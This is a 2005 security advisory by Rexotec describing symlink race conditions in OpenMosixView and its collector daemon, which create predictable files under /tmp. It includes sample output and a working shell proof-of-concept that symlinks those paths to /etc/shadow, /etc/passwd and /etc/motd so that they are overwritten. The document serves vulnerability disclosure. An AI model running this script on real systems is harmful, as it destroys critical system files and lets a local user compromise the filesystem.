RX250305 - OpenMosixView : Multiple Race conditions - advisory and exploit

2005-03-26T00:00:00
ID SECURITYVULNS:DOC:8158
Type securityvulns
Reporter Securityvulns
Modified 2005-03-26T00:00:00

Description

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|############################ REXOTEC(dot)COM ############################## | |=------=[ ADV RX250305 - OpenMosixView : Multiple Race conditions ]------=| | | |=---[ - INFORMATION `---------------------------------------------------------------------|

VulnDiscovery: 2004/12/21 Release Date : 2005/03/25 Author : Gangstuck and Psirac <research@rexotec.com>

Application : OpenMosixView Affected : All version (lastest is openmosixview-1.5) Platform : Linux Risk : Critical Severity : Allow local user to compromise filesystem.

Vendor : http://www.openmosixview.com/ Reference : http://www.rexotec.com/advisory/RX250305.html

Status : Vendor has been notified (2005/02/17) and will try to fix the topics listed above for the next release of OMView. This may take some time because of general architecture changes for OpenMosix on 2.6. kernels.

|=---[ - SUMMARY OVERVIEW `---------------------------------------------------------------------|

OpenMosix is a Linux kernel extension for single-system image clustering which turns a network of ordinary computers into a supercomputer.

OpenMosixView is an intuitive cluster-management GUI for openMosix cluster.

It contains eight usefull applications for monitoring and administrating openMosix-cluster. In the package, OpenMosixCollector is the daemon which should/could be started on one cluster-member. It logs openmosix load of each node. These history log-files are analyzed by some openMosix Analyzer located in the pack to gives a non-stop overview of the load, memory and processes in a cluster.

|=-+-[ - VULNERABILITIES OVERVIEW | `---------------------------------------------------------------------|
| .--+-[ OpenMosixView ] |
| When OpenMosixView is started, it get nodes's names (or by default | nodes's IP) with "mosctl whois id_node_number", and redirect output | in /tmp/nodes.tmp without checking if file already exist, ... |
+--. | '--[ OpenMosixView->OpenmosixCollector ]

At each start of the OpenMosixCollector daemon, load of each node is formatted to the directory /tmp/openmosixcollector where data are organised in several files.

The startup schema is :

    [ file ] cluster
    [ file ] IDnode-n
    [ file ] IDnode-n
    [ file ] sync.count
    [ dir  ] phist

Permissions are correctly handled ..

    drwxr-xr-x   3 root root  1024 2004-12-23 18:54 openmosixcollector
    |
    &#96;-----  -rw-r--r--   1 root root 42674 2004-12-21 22:20 1
            -rw-r--r--   1 root root 42612 2004-12-21 22:20 11
            -rw-r--r--   1 root root 41444 2004-12-21 22:20 2
            -rw-r--r--   1 root root 42063 2004-12-21 22:20 22
            -rw-r--r--   1 root root 41486 2004-12-21 22:20 cluster
            drwxr-xr-x   2 root root 24576 2004-12-21 22:20 phist
            -rw-r--r--   1 root root     4 2004-12-21 22:20 sync.count

but, creation of predictable files allow any local attacker to remove arbitrary files on the vulnerable filesystem via the famous symlink vulnerability. In this case, we just have to rebuild a fake directory tree.

If openmosixcollector-daemon is already running there is also a way to corrupt the fs due to the creation of a predictable backup temporary directory each 12 hours (see exploit below for more details).

|=---[ - EXPLOITATION `---------------------------------------------------------------------|

    $ ./RX_OMcollector_proof.sh
    ...
    $ ls -l /tmp/nodes.tmp
    lrwxrwxrwx  1 gang gang 12 2005-02-21 23:18 /tmp/nodes.tmp -&gt; /etc/shadow

    # openmosixview &
    openMosix is started!
    openMosix cluster contains 3 members.
    cluster config changed! redraw cluster now.

    $ cat /etc/shadow
    192.168.0.11

    # /etc/init.d/openmosixcollector start
    Initializing openMosix...
    openMosix configuration was successful :&#41;

    # ls -l /tmp/openmosixcollector/
    rwxrwxrwx   1 user user   12 2004-12-21 23:19 cluster -&gt; /etc/passwd
    drwxr-xr-x  2 root root 1024 2004-12-21 23:25 phist
    lrwxrwxrwx  1 user user   12 2004-12-21 23:19 sync.count -&gt; /etc/motd
    # cat /etc/passwd
    21.12.2005-23.25.59 5 184 1757 13 3
    21.12.2005-23.26.10 5 184 1757 13 3
    # cat /etc/motd
    2

|=---[ - EXPLOIT - Proof of concept `----------------------------------------------------------------------|

---8<--------8<-------cut-here-------8<--------8<---

!/bin/sh

RX_oMcollector_proof.sh

OpenMosixCollector exploit [25/03/2005]

by Gangstuck and Psirac <research@rexotec.com>

-- Choose target

TARGET1="/etc/shadow" # OM view target TARGET2="/etc/passwd" # OM collector target 1 TARGET3="/etc/motd" # OM collector target 2

-- OpenMosixCollector temporary directory (without final '/')

OMCTDIR="/tmp/openmosixcollector"

echo "--------------------------------------------------------" echo "- -= OpenMosixView and OpenMosixCollector =- -" echo "- Symlink Vulnerability PoC -" echo "- [versions 1.5 and minor] -" echo "--------------------------------------------------------" echo "- Gangstuck and Psirac -" echo "- <research@rexotec.com> -" echo "--------------------------------------------------------"

-- OM View

ln -sf $TARGET1 /tmp/nodes.tmp if [ $? ]; then echo "[+] OpenMosixView attack successfully launched." echo -e " - target is ${TARGET1}\n" else echo "[!] Failed to exploit OpenMosixView..." fi

-- OM Collector

if [ -d "$OMCTDIR" ]; then echo -e "[!] Openmosix is already running.\n Anyway, there is a way to exploit this case but this is not implemented in this public exploit. OpenMosixcollector-daemon automatically restarts every 12 hours and saves the current history to a directory located in /tmp (glibc: P_tmpdir).

This is done whith the utilisation of a predictable temporary dir name \"${OMCTDIR}_[date]\" where [date] format look like \"18.0.2005-0.0.48\". Have phun :P" exit 0 fi

echo -e "[-] OpenMosixCollector seems not to be started..." echo " - creating fake directory" mkdir $OMCTDIR if [ ! $? ]; then echo "[!] OpenMosixCollector attack failed !" exit 1 fi echo " - creating symlink attack against " echo -e "\t> ${TARGET2}" && ln -sf $TARGET2 ${OMCTDIR}/cluster; echo -e "\t> ${TARGET3}" && ln -sf $TARGET3 ${OMCTDIR}/sync.count;

echo "[+] OpenMosixCollector attack successfully launched."

---8<--------8<-------cut-here-------8<---------8<---

|=---[ - ABOUT `----------------------------------------------------------------------|

 Rexotec is a company specialized in the corporate network which offers
 to professionals several solutions based on free software. It offers 
 services in the field of security such as penetration testing and tends
 to be active in software auditing.

-- cheers, gangstuck and psirac <research@rexotec.com>